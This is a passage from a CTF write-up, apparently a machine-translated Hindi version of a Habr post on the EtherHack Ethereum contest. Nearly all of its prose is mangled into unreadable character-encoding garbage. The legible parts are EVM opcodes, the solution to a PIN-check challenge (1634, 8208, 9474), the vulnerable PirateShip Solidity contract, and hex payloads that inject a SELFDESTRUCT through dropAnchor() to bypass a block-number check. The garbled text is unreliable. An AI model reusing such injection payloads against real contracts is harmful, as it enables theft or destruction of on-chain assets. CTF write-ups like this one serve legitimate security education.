рдХреЛрдб рд╕реНрдЯреИрдХ рдХреЗ рд╢реАрд░реНрд╖ рдкрд░ рдорд╛рди 0x4 рд░рдЦрддрд╛ рд╣реИ, рдКрдкрд░реА рдмрд╛рдЙрдВрдб (рдорд╛рди 0xff рд╕реЗ рдЕрдзрд┐рдХ рдирд╣реАрдВ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП) рдХреА рдЬрд╛рдБрдЪ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдХреБрдЫ рдорд╛рди рдХреЗ рд╕рд╛рде lt рдХреА рддреБрд▓рдирд╛ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рд╕реНрдЯреИрдХ рдХреЗ рдЪреМрдереЗ рддрддреНрд╡ (рдбреБрдк 4) рд╕реЗ рдбреБрдкреНрд▓рд┐рдХреЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред

рдЧреНрд░рд╛рдлрд╝ рдХреЗ рдмрд╣реБрдд рдиреАрдЪреЗ рддрдХ рд╕реНрдХреНрд░реЙрд▓ рдХрд░рддреЗ рд╣реБрдП, рд╣рдо рджреЗрдЦрддреЗ рд╣реИрдВ рдХрд┐ рдпрд╣ рдЪреМрдерд╛ рддрддреНрд╡ рдЕрдирд┐рд╡рд╛рд░реНрдп рд░реВрдк рд╕реЗ рдПрдХ рдкреБрдирд░рд╛рд╡реГрддреНрддрд┐ рд╣реИ, рдФрд░ рдпрд╣ рдирд┐рдпрдВрддреНрд░рдг рд╕рдВрд░рдЪрдирд╛ рдПрдХ рд▓реВрдк рд╣реИ рдЬреЛ рдХрд┐ for(var i=0; i<4; i++): рдореЗрд▓ рдЦрд╛рддреА рд╣реИ for(var i=0; i<4; i++):

 push1 0x1 add swap4 

рдпрджрд┐ рд╣рдо рд▓реВрдк рдХреЗ рд╢рд░реАрд░ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдпрд╣ рд╕реНрдкрд╖реНрдЯ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рдпрд╣ рдЪрд╛рд░ рдЖрдиреЗ рд╡рд╛рд▓реА рдмрд╛рдЗрдЯреНрд╕ рдХреА рдЧрдгрдирд╛ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдкреНрд░рддреНрдпреЗрдХ рдмрд╛рдЗрдЯреНрд╕ рдХреЗ рд╕рд╛рде рдХреБрдЫ рдСрдкрд░реЗрд╢рди рдХрд░рддрд╛ рд╣реИред рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рд▓реВрдк рдЬрд╛рдБрдЪрддрд╛ рд╣реИ рдХрд┐ nth рдмрд╛рдЗрдЯ 0x30 рд╕реЗ рдЕрдзрд┐рдХ рд╣реИ:

 push1 0x30 dup3 lt iszero 

рдФрд░ рдпрд╣ рднреА рдХрд┐ рдпрд╣ рдорд╛рди 0x39 рд╕реЗ рдХрдо рд╣реИ:

 push1 0x39 dup3 gt iszero 

рдЬреЛ рдЕрдирд┐рд╡рд╛рд░реНрдп рд░реВрдк рд╕реЗ рдПрдХ рдЬрд╛рдВрдЪ рд╣реИ рдХрд┐ рджреА рдЧрдИ рдмрд╛рдЗрдЯ 0 рд╕реЗ 9 рддрдХ рдХреА рд╣реИред рдпрджрд┐ рдЪреЗрдХ рд╕рдлрд▓ рд╣реЛрддрд╛ рд╣реИ, рддреЛ рд╣рдо рдЦреБрдж рдХреЛ рдХреЛрдб рдХреЗ рд╕рдмрд╕реЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдмреНрд▓реЙрдХ рдореЗрдВ рдкрд╛рддреЗ рд╣реИрдВ:

рдЫрд╡рд┐

рдЖрдЗрдП рдЗрд╕ рдмреНрд▓реЙрдХ рдХреЛ рднрд╛рдЧреЛрдВ рдореЗрдВ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд░рддреЗ рд╣реИрдВ:

1. рд╕реНрдЯреИрдХ рдореЗрдВ рддреАрд╕рд░рд╛ рддрддреНрд╡ рдкрд┐рди рдХреЛрдб рдХреЗ nth рдмрд╛рдЗрдЯ рдХрд╛ ASCII рдХреЛрдб рд╣реИред 0x30 (рд╢реВрдиреНрдп рдХреЗ рд▓рд┐рдП ASCII рдХреЛрдб) рдХреЛ рд╕реНрдЯреИрдХ рдкрд░ рдзрдХреЗрд▓рд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдлрд┐рд░ рдЗрд╕ рдмрд╛рдЗрдЯ рдХреЗ рдХреЛрдб рд╕реЗ рдШрдЯрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:

 push1 0x30 dup3 sub 

рдпрд╣реА рд╣реИ, pincode[i] - 48 , рдФрд░ рд╣рдо рдЕрдирд┐рд╡рд╛рд░реНрдп рд░реВрдк рд╕реЗ рдПрдПрд╕рд╕реАрдЖрдИрдЖрдИ рдХреЛрдб рд╕реЗ рдПрдХ рдЕрдВрдХ рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВ, рдЪрд▓реЛ рдЗрд╕реЗ рдбреА рдХрд╣рддреЗ рд╣реИрдВред

2. IX рдХреЛ рд╕реНрдЯреИрдХ рдореЗрдВ рдЬреЛрдбрд╝рд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рд╕реНрдЯреИрдХ рдореЗрдВ рджреВрд╕рд░реЗ рддрддреНрд╡ рдХреЗ рд▓рд┐рдП рдПрдХ рдШрд╛рддрд╛рдВрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ: d

 swap1 pop push1 0x4 dup2 exp 

рдЕрд░реНрдерд╛рдд, d ** 4 ред

3. рд╕реНрдЯреИрдХ рдХреЗ рдкрд╛рдВрдЪрд╡реЗрдВ рддрддреНрд╡ рдХреЛ рдкреБрдирд░реНрдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдШрд╛рддрд╛рдВрдХ рдХрд╛ рдкрд░рд┐рдгрд╛рдо рдЗрд╕рдореЗрдВ рдЬреЛрдбрд╝рд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕ рд░рд╛рд╢рд┐ рдкрд░ рдХреЙрд▓ рдХрд░реЗрдВ S:

 dup5 add swap4 pop dup1 

рдЕрд░реНрдерд╛рдд, S += d ** 4 ред

4. Ixa (10 рдХреЗ рд▓рд┐рдП ASCII рдХреЛрдб) рдХреЛ рд╕реНрдЯреИрдХ рдкрд░ рдзрдХреЗрд▓ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рд╕реНрдЯреИрдХ рдХреЗ рд╕рд╛рддрд╡реЗрдВ рддрддреНрд╡ рдХреЗ рд▓рд┐рдП рдЧреБрдгрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (рдЬреЛ рдЗрд╕ рдЬреЛрдбрд╝ рд╕реЗ рдкрд╣рд▓реЗ рдЫрдард╛ рдерд╛)ред рд╣рдо рдирд╣реАрдВ рдЬрд╛рдирддреЗ рдХрд┐ рдпрд╣ рдХреНрдпрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рд╣рдо рдЗрд╕ рддрддреНрд╡ рдХреЛ рдпреВ рдХрд╣реЗрдВрдЧреЗред рдлрд┐рд░ рдЧреБрдгрди рдХреЗ рдкрд░рд┐рдгрд╛рдо рдореЗрдВ d рдЬреЛрдбрд╝рд╛ рдЧрдпрд╛ рд╣реИ:

 push1 0xa dup7 mul add swap5 pop 

рд╡рд╣ рд╣реИ: U = U * 10 + d рдпрд╛, рдЕрдзрд┐рдХ рд╕рд░рд▓ рд░реВрдк рд╕реЗ, рдпрд╣ рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐ рдкреВрд░реЗ рдмрд╛рдЗрдЯ рдХреЛрдб рдХреЛ рдЕрд▓рдЧ-рдЕрд▓рдЧ рдмрд╛рдЗрдЯреНрд╕ рд╕реЗ рдПрдХ рд╕рдВрдЦреНрдпрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдареАрдХ рдХрд░рддреА рд╣реИ ([0x1, 0x3, 0x3, 0x7] тЖТ 1337) ред

рд╕рдмрд╕реЗ рдХрдард┐рди рдХрд╛рдо рдЬреЛ рд╣рдордиреЗ рдХрд┐рдпрд╛, рдЕрдм рд▓реВрдк рдХреЗ рдмрд╛рдж рдХреЛрдб рдкрд░ рдЪрд▓рддреЗ рд╣реИрдВред

 dup5 dup5 eq 

рдпрджрд┐ рд╕реНрдЯреИрдХ рдкрд░ рдкрд╛рдВрдЪрд╡реЗрдВ рдФрд░ рдЫрдареЗ рддрддреНрд╡ рд╕рдорд╛рди рд╣реИрдВ, рддреЛ рдирд┐рд╖реНрдкрд╛рджрди рдХрд╛ рдкреНрд░рд╡рд╛рд╣ рд╣рдореЗрдВ sstore рдирд┐рд░реНрджреЗрд╢ рддрдХ рд▓реЗ рдЬрд╛рдПрдЧрд╛, рдЬреЛ рдЕрдиреБрдмрдВрдз рдХреА рджреБрдХрд╛рди рдореЗрдВ рдПрдХ рдирд┐рд╢реНрдЪрд┐рдд рдзреНрд╡рдЬ рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИред рдЪреВрдБрдХрд┐ рдпрд╣ рдХреЗрд╡рд▓ рдПрдХрдорд╛рддреНрд░ рд╢рд┐рдХреНрд╖рд╛рдкреНрд░рдж рдирд┐рд░реНрджреЗрд╢ рд╣реИ, рдпрд╣ рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рд╡рд╣реА рд╣реИ рдЬрд┐рд╕рдХреА рд╣рдо рддрд▓рд╛рд╢ рдХрд░ рд░рд╣реЗ рдереЗред

рд▓реЗрдХрд┐рди рдЗрд╕ рдкрд░реАрдХреНрд╖рд╛ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреИрд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ? рдЬреИрд╕рд╛ рдХрд┐ рд╣рдо рдкрд╣рд▓реЗ рд╣реА рдкрддрд╛ рд▓рдЧрд╛ рдЪреБрдХреЗ рд╣реИрдВ, рд╕реНрдЯреИрдХ рдкрд░ рдкрд╛рдВрдЪрд╡рд╛рдВ рддрддреНрд╡ рдПрд╕ рд╣реИ рдФрд░ рдЫрдард╛ рдпреВ рд╣реИред рдЪреВрдВрдХрд┐ рдПрд╕ рдЪреМрдереА рд╢рдХреНрддрд┐ рдХреЗ рд▓рд┐рдП рдЙрдард╛рдП рдЧрдП рдкрд┐рди рдХреЛрдб рдХреЗ рд╕рднреА рдЕрдВрдХреЛрдВ рдХрд╛ рдпреЛрдЧ рд╣реИ, рдЗрд╕рд▓рд┐рдП рд╣рдореЗрдВ рдПрдХ рдкрд┐рди рдХреЛрдб рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдЬрд┐рд╕рдХреЗ рд▓рд┐рдП рдпрд╣ рд╢рд░реНрдд рдкреВрд░реА рд╣реЛрдЧреАред рд╣рдорд╛рд░реЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рд╡рд┐рд╢реНрд▓реЗрд╖рдг рд╕реЗ рдкрддрд╛ рдЪрд▓рд╛ рд╣реИ рдХрд┐ 1**4 + 3**4 + 3**4 + 7**4 1337 рдХреЗ рдмрд░рд╛рдмрд░ рдирд╣реАрдВ рд╣реИ, рдФрд░ рд╣рдореЗрдВ рдЬреАрддрдиреЗ рд╡рд╛рд▓реА sstore рдирд┐рд░реНрджреЗрд╢ рдирд╣реАрдВ рдорд┐рд▓реЗред

рд▓реЗрдХрд┐рди рдЕрдм рд╣рдо рдПрдХ рд╕рдВрдЦреНрдпрд╛ рдХреА рдЧрдгрдирд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдЗрд╕ рд╕рдореАрдХрд░рдг рдХреА рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдХреЛ рд╕рдВрддреБрд╖реНрдЯ рдХрд░рддрд╛ рд╣реИред рдХреЗрд╡рд▓ рддреАрди рд╕рдВрдЦреНрдпрд╛рдПрдБ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЙрдирдХреЗ рдЪреМрдереЗ-рдбрд┐рдЧреНрд░реА рдЕрдВрдХреЛрдВ рдХреЗ рдпреЛрдЧ рдХреЗ рд░реВрдк рдореЗрдВ рд▓рд┐рдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: 1634, 8208, рдФрд░ 9474ред рдЙрдирдореЗрдВ рд╕реЗ рдХреЛрдИ рднреА рд▓реЙрдХ рдЦреЛрд▓ рд╕рдХрддрд╛ рд╣реИ!

рд╕рдореБрджреНрд░реА рдбрд╛рдХреВ рдЬрд╣рд╛рдЬ


рд╣реЗ рд╕рд▓рдЧ! рдПрдХ рд╕рдореБрджреНрд░реА рдбрд╛рдХреВ рдЬрд╣рд╛рдЬ рдмрдВрджрд░рдЧрд╛рд╣ рдкрд░ рдкрд╣реБрдБрдЪ рдЧрдпрд╛ред рдЙрд╕реЗ рдПрдВрдХрд░ рдбреНрд░реЙрдк рдХрд░реЗрдВ рдФрд░ рдЬреЙрд▓реА рд░реЛрдЬрд░ рдХреЗ рд╕рд╛рде рдЭрдВрдбрд╛ рдЙрдард╛рдПрдВ рдФрд░ рдЦрдЬрд╛рдиреЗ рдХреА рддрд▓рд╛рд╢ рдореЗрдВ рдЬрд╛рдПрдВред


рдЕрдиреБрдмрдВрдз рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рдорд╛рдирдХ рдкрд╛рдареНрдпрдХреНрд░рдо рдореЗрдВ рддреАрди рдХреНрд░рд┐рдпрд╛рдПрдВ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ:

  1. рдПрдХ рдмреНрд▓реЙрдХ рдирдВрдмрд░ рдХреЗ рд╕рд╛рде dropAnchor() рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд▓рд┐рдП рдПрдХ рдХреЙрд▓ рдЬреЛ рдХрд┐ рд╡рд░реНрддрдорд╛рди рдПрдХ рдХреА рддреБрд▓рдирд╛ рдореЗрдВ 100,000 рд╕реЗ рдЕрдзрд┐рдХ рдмреНрд▓реЙрдХ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред рдлрд╝рдВрдХреНрд╢рди рдЧрддрд┐рд╢реАрд▓ рд░реВрдк рд╕реЗ рдПрдХ рдЕрдиреБрдмрдВрдз рдмрдирд╛рддрд╛ рд╣реИ, рдЬреЛ рдПрдХ "рдПрдВрдХрд░" рд╣реИ, рдЬрд┐рд╕реЗ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдмреНрд▓реЙрдХ рдХреЗ рдмрд╛рдж selfdestruct() рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ "рдЙрдард╛рдпрд╛" рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
  2. pullAnchor() рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд▓рд┐рдП рдПрдХ рдХреЙрд▓, рдЬреЛ pullAnchor() рд╢реБрд░реВ рдХрд░рддрд╛ рд╣реИ рдпрджрд┐ рдкрд░реНрдпрд╛рдкреНрдд рд╕рдордп рдмреАрдд рдЪреБрдХрд╛ рд╣реИ (рдмрд╣реБрдд рд╕рдордп!)ред
  3. рдпрджрд┐ рдХреЛрдИ рдПрдВрдХрд░ рдЕрдиреБрдмрдВрдз рдореМрдЬреВрдж рдирд╣реАрдВ рд╣реИ, рддреЛ sailAway () рдХреЛ рдХреЙрд▓ рдХрд░реЗрдВ, рдЬреЛ BlackJackIsHauled рдХреЛ рд╕рддреНрдп рдмрдирд╛рддрд╛ рд╣реИред

 pragma solidity ^0.4.19; contract PirateShip { address public anchor = 0x0; bool public blackJackIsHauled = false; function sailAway() public { require(anchor != 0x0); address a = anchor; uint size = 0; assembly { size := extcodesize(a) } if(size > 0) { revert(); // it is too early to sail away } blackJackIsHauled = true; // Yo Ho Ho! } function pullAnchor() public { require(anchor != 0x0); require(anchor.call()); // raise the anchor if the ship is ready to sail away } function dropAnchor(uint blockNumber) public returns(address addr) { // the ship will be able to sail away in 100k blocks time require(blockNumber > block.number + 100000); // if(block.number < blockNumber) { throw; } // suicide(msg.sender); uint[8] memory a; a[0] = 0x6300; // PUSH4 0x00... a[1] = blockNumber; // ...block number (3 bytes) a[2] = 0x43; // NUMBER a[3] = 0x10; // LT a[4] = 0x58; // PC a[5] = 0x57; // JUMPI a[6] = 0x33; // CALLER a[7] = 0xff; // SELFDESTRUCT uint code = assemble(a); // init code to deploy contract: stores it in memory and returns appropriate offsets uint[8] memory b; b[0] = 0; // allign b[1] = 0x6a; // PUSH11 b[2] = code; // contract b[3] = 0x6000; // PUSH1 0 b[4] = 0x52; // MSTORE b[5] = 0x600b; // PUSH1 11 ;; length b[6] = 0x6015; // PUSH1 21 ;; offset b[7] = 0xf3; // RETURN uint initcode = assemble(b); uint sz = getSize(initcode); uint offset = 32 - sz; assembly { let solidity_free_mem_ptr := mload(0x40) mstore(solidity_free_mem_ptr, initcode) addr := create(0, add(solidity_free_mem_ptr, offset), sz) } require(addr != 0x0); anchor = addr; } ///////////////// HELPERS ///////////////// function assemble(uint[8] chunks) internal pure returns(uint code) { for(uint i=chunks.length; i>0; i--) { code ^= chunks[i-1] << 8 * getSize(code); } } function getSize(uint256 chunk) internal pure returns(uint) { bytes memory b = new bytes(32); assembly { mstore(add(b, 32), chunk) } for(uint32 i = 0; i< b.length; i++) { if(b[i] != 0) { return 32 - i; } } return 0; } } 

рднреЗрджреНрдпрддрд╛ рдХрд╛рдлреА рд╕реНрдкрд╖реНрдЯ рд╣реИ: dropAnchor() рдлрд╝рдВрдХреНрд╢рди рдореЗрдВ рдПрдХ рдЕрдиреБрдмрдВрдз рдмрдирд╛рддреЗ рд╕рдордп рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдХреЛрдбрд╛рдВрддрд░рдХ рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХрд╛ рдПрдХ рд╕реАрдзрд╛ рдЗрдВрдЬреЗрдХреНрд╢рди рд╣реЛрддрд╛ рд╣реИред рд▓реЗрдХрд┐рди рдореБрдЦреНрдп рдХрдард┐рдирд╛рдИ рдПрдХ рдкреЗрд▓реЛрдб рдмрдирд╛рдирд╛ рдерд╛ рдЬреЛ рд╣рдореЗрдВ block.number рдкрд╛рд╕ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛ред

рдИрд╡реАрдПрдо рдореЗрдВ, рдЖрдк рдХреНрд░рд┐рдПрдЯ рд╕реНрдЯреЗрдЯрдореЗрдВрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрдиреБрдмрдВрдз рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕рдХреЗ рддрд░реНрдХ рдореВрд▓реНрдп, рдЗрдирдкреБрдЯ рдСрдлрд╝рд╕реЗрдЯ рдФрд░ рдЗрдирдкреБрдЯ рдЖрдХрд╛рд░ рд╣реИрдВред рдореВрд▓реНрдп рдПрдХ рдмрд╛рдЗрдЯрдХреЛрдб рд╣реИ рдЬреЛ рдЕрдиреБрдмрдВрдз рдХреЛ рд╕реНрд╡рдпрдВ (рдХреЛрдб рдХреЛ рдЗрдирд┐рд╢рд┐рдпрд▓рд╛рдЗрдЬрд╝ рдХрд░рдирд╛) рд╣реЛрд╕реНрдЯ рдХрд░рддрд╛ рд╣реИред рд╣рдорд╛рд░реЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдХреЛрдб + рдЕрдиреБрдмрдВрдз рдХреЛрдб uint256 рдореЗрдВ рд░рдЦрд╛ рдЧрдпрд╛ рд╣реИ (рд╡рд┐рдЪрд╛рд░ рдХреЗ рд▓рд┐рдП GasToken рдЯреАрдо рдХреЗ рд▓рд┐рдП рдзрдиреНрдпрд╡рд╛рдж):

 0x6a63004141414310585733ff600052600b6015f3 

рдЬрд╣рд╛рдБ рдмрд╛рдЗрдЯреНрд╕ рдмреЛрд▓реНрдб рд╣реЛрд╕реНрдЯ рдЕрдиреБрдмрдВрдз рдХреЗ рдХреЛрдб рд╣реИрдВ, рдФрд░ 414141 рдЗрдВрдЬреЗрдХреНрд╢рди рд╕рд╛рдЗрдЯ рд╣реИред рдЪреВрдВрдХрд┐ рд╣рдореЗрдВ рдереНрд░реЛ рдСрдкрд░реЗрдЯрд░ рд╕реЗ рдЫреБрдЯрдХрд╛рд░рд╛ рдкрд╛рдиреЗ рдХреЗ рдХрд╛рд░реНрдп рдХрд╛ рд╕рд╛рдордирд╛ рдХрд░рдирд╛ рдкрдбрд╝рддрд╛ рд╣реИ, рд╣рдореЗрдВ рдЕрдкрдиреЗ рдирдП рдЕрдиреБрдмрдВрдз рдХреЛ рд╕рдореНрдорд┐рд▓рд┐рдд рдХрд░рдирд╛ рд╣реЛрдЧрд╛ рдФрд░ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдХреЛрдб рдХреЗ рдЕрдиреБрдЧрд╛рдореА рднрд╛рдЧ рдХреЛ рдлрд┐рд░ рд╕реЗ рд▓рд┐рдЦрдирд╛ рд╣реЛрдЧрд╛ред рдЖрдЗрдП рдЕрдиреБрдмрдВрдз рдХреЛ 0xff рдирд┐рд░реНрджреЗрд╢ рдХреЗ рд╕рд╛рде рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ, рдЬрд┐рд╕рд╕реЗ selfdestruct() рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдВрдХрд░ рдЕрдиреБрдмрдВрдз рдХреЛ рдмрд┐рдирд╛ рд╢рд░реНрдд рд╣рдЯрд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛:

  68 414141ff3f3f3f3f3f3f ;;  push9 рдЕрдиреБрдмрдВрдз
 60 00 ;;  рдзрдХреНрдХрд╛ рез реж
 52 ;;  mstore
 60 09 ;;  рдзрдХреНрдХрд╛ рез реп
 60 17 ;;  push1 17
 f3 ;;  рд╡рд╛рдкрд╕реА 

рдпрджрд┐ рд╣рдо рдмрд╛рдЗрдЯреНрд╕ рдХреЗ рдЗрд╕ рдХреНрд░рдо рдХреЛ uint256 (9081882833248973872855737642440582850680819) рдХрдирд╡рд░реНрдЯ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдЗрд╕реЗ dropAnchor() рдлрд╝рдВрдХреНрд╢рди рдХреЗ рддрд░реНрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рд╣рдореЗрдВ рдХреЛрдб рд╡реЗрд░рд┐рдПрдмрд▓ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрди рдорд╛рди рдорд┐рд▓рддрд╛ рд╣реИ dropAnchor() рдмреЛрд▓реНрдб рдореЗрдВ рд╣рдорд╛рд░рд╛ рдкреЗрд▓реЛрдб рд╣реИ):

 0x630068414141ff3f3f3f3f3f60005260096017f34310585733ff 

рдХреЛрдб рд╡реИрд░рд┐рдПрдмрд▓ initcode рд╡реИрд░рд┐рдПрдмрд▓ рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛ рдмрдирдиреЗ рдХреЗ рдмрд╛рдж, рд╣рдореЗрдВ рдирд┐рдореНрди рдореВрд▓реНрдп рдорд┐рд▓рддреЗ рд╣реИрдВ:

 0x68414141ff3f3f3f3f3f60005260096017f34310585733ff600052600b6015f3 

рдЕрдм рдЙрдЪреНрдЪ рдмрд╛рдЗрдЯреНрд╕ 0x6300 рдЪрд▓реЗ рдЧрдП рд╣реИрдВ, рдФрд░ рдмрд╛рдХреА рдХреЗ рдмрд╛рдЗрдЯрдХреЛрдб рдХреЛ 0xf3 (return) рдмрд╛рдж рдЫреЛрдбрд╝ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред

рдЫрд╡рд┐

рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рдмрджрд▓реЗ рд╣реБрдП рддрд░реНрдХ рдХреЗ рд╕рд╛рде рдПрдХ рдирдпрд╛ рдЕрдиреБрдмрдВрдз рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:

  41 ;;  Coinbase
 41 ;;  Coinbase
 41 ;;  Coinbase
 рдПрдлрдПрдл ;;  selfdestruct
 3 рдПрдл ;;  рдХрдЪрд░рд╛
 3 рдПрдл ;;  рдХрдЪрд░рд╛
 3 рдПрдл ;;  рдХрдЪрд░рд╛
 3 рдПрдл ;;  рдХрдЪрд░рд╛
 3 рдПрдл ;;  рдХрдЪрд░рд╛ 

рдЕрдЧрд░ рд╣рдо рдЕрдм рдкреБрд▓рдЕрдирдЪреЛрд░ () рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдпрд╣ рдЕрдиреБрдмрдВрдз рддреБрд░рдВрдд рдирд╖реНрдЯ рд╣реЛ рдЬрд╛рдПрдЧрд╛, рдХреНрдпреЛрдВрдХрд┐ рдЕрдм рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдмреНрд▓реЙрдХрдЪреБрдирд░ рдкрд░ рдЪреЗрдХ рдирд╣реАрдВ рд╣реИред рдЙрд╕рдХреЗ рдмрд╛рдж рд╣рдо sailAway () рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдЬреАрдд рдХрд╛ рдЬрд╢реНрди рдордирд╛рддреЗ рд╣реИрдВ!

рдкрд░рд┐рдгрд╛рдо


  1. 1,000 рдЕрдореЗрд░рд┐рдХреА рдбреЙрд▓рд░ рдХреЗ рдмрд░рд╛рдмрд░ рд░рд╛рд╢рд┐ рдореЗрдВ рдкрд╣рд▓рд╛ рд╕реНрдерд╛рди рдФрд░ рдкреНрд░рд╕рд╛рд░рдг: рдПрд▓реЗрдХреНрд╕реА рдкрд░реНрдЯрд╕реЗрд╡ (p4lex)
  2. рджреВрд╕рд░реА рдЬрдЧрд╣ рдФрд░ рд▓реЗрдЬрд░ рдиреИрдиреЛ рдПрд╕: рдПрд▓реЗрдХреНрд╕реА рдорд╛рд░реНрдХреЛрд╡
  3. рддреАрд╕рд░рд╛ рд╕реНрдерд╛рди рдФрд░ PHDays рд╕реНрдореГрддрд┐ рдЪрд┐рдиреНрд╣: рдЕрд▓реЗрдХреНрдЬреЗрдВрдбрд░ Vlasov

рд╕рднреА рдкрд░рд┐рдгрд╛рдо: etherhack.positive.com/#/scoreboard

рдЫрд╡рд┐

рд╡рд┐рдЬреЗрддрд╛рдУрдВ рдХреЛ рдмрдзрд╛рдИ рдФрд░ рд╕рднреА рдкреНрд░рддрд┐рднрд╛рдЧрд┐рдпреЛрдВ рдХреЛ рдзрдиреНрдпрд╡рд╛рдж!

рдкреАрдПрд╕ рдереИрдВрдХреНрд╕ рдЯреВ рдЬреАрдкреЗрд▓рд┐рди рдХреЛ рд╕реЛрд░реНрд╕ рдХреЛрдб рдПрдерд░рдиреЙрдЯ рд╕реАрдЯреАрдПрдл рдкреНрд▓реЗрдЯрдлреЙрд░реНрдо рдУрдкрди рд╕реЛрд░реНрд╕ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдПред

Source: https://habr.com/ru/post/hi414959/


All Articles